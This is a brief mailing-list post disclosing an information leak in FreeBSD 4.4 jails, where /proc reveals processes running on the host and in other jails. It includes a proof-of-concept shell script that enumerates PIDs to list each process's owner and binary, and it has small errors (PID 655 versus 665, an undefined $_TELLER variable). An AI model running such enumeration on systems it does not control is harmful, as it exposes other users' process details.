Hello,
i really have no clue if i should mail this to you guys, but we've found some issue's in de jail's /proc. We were able to find information about processes running outside the jail, or running in other jails. eg. when i run sshd in the host system, and it has PID 655, i can login on the jail, and by execution "ls -l /proc/665/file" i can see what binary is running on pid 655. So any user of the jail system can see what processes you run on that server. I'm running FreeBSD 4.4-RELEASE on a i386. greetz, Pieter Danhieux Proof of concept shellscript: #!/bin/sh _COUNT=0; while [ $_COUNT -le 65000 ]; do if [ -f /proc/$_COUNT/file ]; then _USER=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f4`; _PROC=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f14`; echo "PID= $_TELLER USER= $_USER PROC= $_PROC"; fi _COUNT=`expr $_COUNT + 1`; done ----------------- [www.bsdaemon.be] ----------------- To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
